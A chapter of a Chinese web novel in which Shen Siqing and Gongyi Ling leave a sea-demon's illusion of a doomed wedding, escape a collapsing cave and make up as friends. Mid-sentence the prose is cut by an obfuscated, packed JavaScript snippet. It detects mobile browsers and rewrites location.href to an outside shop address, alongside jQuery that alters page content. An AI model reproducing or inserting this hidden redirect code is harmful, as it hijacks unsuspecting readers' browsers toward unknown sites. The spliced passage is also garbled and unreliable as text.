这是沈司清第一次参加婚宴。
虽然这是一场只有他们三人一妖还有一群没有智慧的小妖怪知道的婚礼,但沈司清还是有些期待。
“如果我像你们一样有一双脚就好了,这样我就能和阿瑶回村里了。”阿海有些羡慕道。
即便对于无法正大光明在一起的齐海瑶和阿海来说这只是一个仪式罢了,但他们还是有在为此用心准备。
阿海早早准备好了婚礼的一切,只等着齐海瑶打完渔后过来完成这场仪式。
“在海里呆久了,没有家人,没有朋友,真的很无聊。直到我那天听见阿瑶唱歌。”
“我第一次听见这么好听的歌声,忍不住想要靠近她。”
“以前也有渔民们见到过我,但都被我吓跑了。所以最开始被她发现的时候,我逃掉了。”
“但是阿瑶她却一点也不怕我。有一次,她抓住了我的腿,非要让我告诉她我的名字。可我哪儿有什么名字,我只是一只有着八条腿的妖怪罢了。”
“于是她给我起名叫做阿海,她愿意靠近我,愿意接受我,甚至答应每次出海都会为我唱歌。”
沈司清和公仪翎坐在唯一一张为宾客准备的桌子上,安静地听着阿海讲述他和齐海瑶之间的故事。
或许是因为阿海有着人类的上半身,沈司清第一次对妖怪不再感到害怕。
“倒是没想到,妖怪也会爱人。”
相比起沈司清难以掩饰的好奇,公仪翎说话更直接。
沈司清听公仪翎提过,他家里人是出了名的古板、严苛,眼里容不得一点沙子。
妖怪在公仪家的人眼里,就没有好坏之分。他们的使命只有一个,那就是除妖。
看来公仪翎和他家里人还是不一样的,起码能好好坐下来和沈司清一起听阿海说话。
沈司清以为她能见证一场人妖相恋的美好结局。
但她差点忘了,齐海瑶早就死了。
期待中的婚礼没有到来。
场景一转,她和公仪翎又来到了一处岸边。
阿海将齐海瑶的尸身从海里拖上了岸。
他身上已经穿上喜服。
今日本该是二人大婚之日,也是阿海为了准备婚礼,唯一一次没有陪伴齐海瑶出海的日子。
风暴来得快走得也快。
现在他们面前平静的海面,却在不久前残忍地吞掉了齐海瑶赖以生存的渔船,和齐海瑶的命。
阿海抱着齐海瑶的尸体在海边呆坐了很久很久。
其余的小妖不知道发生了什么事,手中的锣鼓没有停,脚上的舞蹈也没有停,按部就班地进行着他们被分配到任务。
但喜事变成了丧事。
“其实,第一次见面的时候我就知道了。你们,其实是准备来杀我的吧。”阿海过了很久才开口,声音中带着绝望,“我可以求你们一件事吗?”
“什么事?”沈司清沉默了太久,有一种自己已经一辈子没有开口说过话了的感觉。
“杀了我吧。”阿海的头慢慢抬起来,眼里早已没有任何光亮。
“阿瑶已经不在了,我也没有活下去的意义了。”
“可是……”
沈司清下不了手。
“不需要我们帮你。因为你早就死了。”公仪翎先一步开了口。
“我,死了吗?”
“齐海瑶死后,你就跟着她一起走了了。”公仪翎的语气冷得像冰,诉说着让人难以接受的事实,“现在不过是你残存的一点意识,还在这座岛上困住了我们。”
沈司清从未见过如此冷漠的公仪翎。
但她来不及做多反应,锣鼓声逐渐小声,阿海和齐海瑶的身影也在她面前变得模糊起来。
最开始他们所在的洞穴重新出现在了沈司清的视线之中。
红烛红绸,甚至那口棺材都还在原地,洞穴里又恢复了原本死寂的模样。
就在她愣神之际,一股力量把她狠狠推出棺材。
公仪翎站在她原本的位置,额头上被掉落的石块砸出了一道血口子。
“幻境,破了。”他的声音虚弱且无力,在说完最后一个字后,往地上栽了过去。
“公仪翎,公仪翎!”沈司清着急地想去扶起晕倒的公仪翎,但连自己也跟着摔倒在了地上。
山体随着幻境的消失开始剧烈晃动,就连站立起来都很困难,他们所在的洞穴随时可能会坍塌。
回到山顶的路已经彻底被石头挡住。悬崖之下就是海边,也是他们唯一的生路。
先不说能不能准确跳到海里,从这样的高度跳下去,水面和水泥地其实没有任何区别。
沈司清嘴上抱怨着海妖也不给他们留条后路,反应却很快,想到可以用红绸当绳子。虽然长度可能会不够,但当作缓冲应该不会有问题。
她一刻也不敢停歇,艰难起身扑向洞壁,扶着凹凸不平的石壁一把把挂在上面的红绸一一扯下。
沈司清用了此生最快的速度来把红绸系在了一起,拴在看起来最结实的石柱上,往洞外抛下。
她又拿起剩下的一条,将自己和公仪翎紧紧捆在了一起。
头顶上的
“蹦极都没这么刺激。”沈司清拖着公仪翎,站到了洞边。
心跳剧烈得快要从口中蹦出来了。她紧搂着公仪翎,闭上眼,深吸一口气,一跃从悬崖上跳了下去。
好在这些红绸没有偷工减料,非常结实。坏就坏在长度还是不够。
眼看离地面还有快三四米的高度,沈司清和公仪翎被悬在了半空中,上不去也下不来。
“公仪翎。”沈司清拍了拍公仪翎的脸,想要把他唤醒。
但不等公仪翎回应,她只感觉手中一空,失重感瞬间袭来。
洞穴彻底塌了。拴着红绸的石柱也断开了。
三米的距离不算高,但下面全是礁石,要是撞上去必定会造成重伤。
沈司清狠狠咬住牙,闭上了眼。
但预想中的疼痛并没有到来。
公仪翎在落地的最后一刻,紧紧抱住了她。
除了被刮破的衣裳和那只一直紧握红绸的手还很酸痛以外,沈司清全身上下居然没受到一点伤。
她立即看向被她压在身下的人,鼻尖一酸。
为什么公仪翎即使失去了意识,也会条件反射般把她护在怀里?
“明明你自己也会受伤的......”她早忘了之前想要疏远公仪翎的心情,忘了在悬崖上的害怕,心疼地扶起公仪翎的上半身,放在了自己腿上想让他好受些。
“公仪翎。”
“你快醒来啊。”
真是奇怪。
她为什么会这么难过。
明明,如果这周目公仪翎死掉了的话,重新开启下一周目不就没事了吗?
她又不需要害怕公仪翎死掉,大可以他死一次,她就读一次档。
那她为什么这么难过?她在害怕什么呢?
“清清。”
公仪翎眉头紧张,闭着眼摸索着什么。
“我在,我在这儿。”
沈司清赶紧抓住了他的手,却被冰得差点松开。
她把公仪翎的手放在了嘴边,不停哈气、揉/搓,想要把自己身上的温度分给他。
或许是沈司清的哈气真的有效果,公仪翎的意识渐渐回笼。
他睁开眼后的第一件事就是收回了自己的手,挣扎着起身想要保持距离。
“清清不是说,不会再和我说话了吗。”他的语气冰冷而疏离,“还是不要管我的死活比较好。”
“我不要。”沈司清几乎是用吼的,也终于让公仪翎看向了她。
“我不要和你绝交,不要和你保持距离!”她的声音从有气势逐渐变得小声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191791|197083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像在哀求一般。
“我们和好。”沈司清试探着向他伸出手,“好不好?”
不要拒绝她,好不好?
其实她到现在也没法肯定公仪翎是不是因为码头上的事在和她生气。
但她这段时间过得很难受。
她想要和公仪翎好好交谈,想要和他一起吃饭,想要和他坐在一起看画。她什么事都想和公仪翎一起。
越去想他沈司清就越难受,心脏就像被谁捏住了一样。
即使再怎么骗自己,也改变不了她真的很想有好朋友的事实。
公仪翎是她的第一个朋友,这让沈司清第一次感受到了有朋友的快乐。
她没法失去公仪翎。
为什么还不拉住她的手呢?
他是打算再也不和自己说话了吗?
明明前一秒沈司清还能控制自己的表情,后一秒钟眼泪就跟断了线的珍珠一般不停落下来。
下一瞬,她被拉进了一个不算温暖的怀抱里。
“对不起。”
公仪翎的声音在颤抖,或许是因为冷的,又或许是因为在内疚。
“我要,你,拉手。”
沈司清哭得话都没法好好说,只能一个词一个字地往外蹦。
“好,拉手。”公仪翎扯起一个笑,握住了沈司清的手,摩擦着,再十指紧扣住,“这就算我们和好了,好不好?我再也不想和清清闹矛盾了。”
他的声音轻柔却又因为着凉而带上几分沙哑:“我以为你只需要我一个朋友就够了,明明我只需要你一个人就够了。”
“我也是!我只要公仪翎一个朋友就够了。”沈司清眼泪不停流。
和公仪翎闹别捏这一天不到的时间里,是她此生最难捱的时光。
她甚至害怕到没法再去回忆无法和公仪翎正常交流的这段记忆。
只要有公仪翎一个朋友就够了。
等她完成任务,她就只要公仪翎就够了。
岛上的暴风雨慢慢化成小雨,有了要停下的趋势,海上也逐渐归于平静,只有一波接一波的轻柔的海浪不断拍打在礁石上。
沈司清和公仪翎身上的喜服早已被雨水和海水彻底浸透。两个人虽然现在狼狈不堪,但烦躁了近两天的心在此时终于感受到了一阵平静。
“沈姑娘!”
“公仪!”
远处的呼唤声传来,沈司清率先松开了公仪翎,转头找着声音传来的位置。
但还没等她找到,她又被公仪翎拉回了怀里。
“清清,我好冷啊。”
沈司清瞪着眼睛,抬起脑袋看向公仪翎。
只见他脸颊潮红,眼睛像是困得睁不开。
沈司清用力把自己的手从公仪翎的怀里抽了出来,抚上他的额头,惊叫:“你脸好烫!”
也是,他们二人熬了一整夜,淋了一晚上的雨,还泡了海水。沈司清没发烧完全是归功于她这个身子体质好。
但公仪翎就不一样了,他也没什么主角光环,又是淋雨又是坠崖的,折腾了一晚上,他没死都算走运的了。
本来有些担心被方昭屹看到她和公仪翎太过于亲密而降好感的沈司清现在哪儿还顾得上这么多。
她紧紧回抱住公仪翎,双手在他背上搓着试图把自己身上的热量传给他。
呼唤声也在向他们靠近,沈司清着急地大喊:“宋姑娘!世子!我们在这儿!我们在悬崖下边!”
她一边回应着方昭屹他们,一边关切着公仪翎:“公仪公子,这样抱着你会不会暖和些。你别怕,他们已经找到我们了,我们马上就可以回去了。”
公仪翎个子很高,此刻却像只鸵鸟一样想把自己塞进沈司清怀里,汲取着她的温度,渴望着她的怀抱。
“清清抱着我就不冷了。”
他的声音发着颤,让沈司清听了又生出几分怜惜。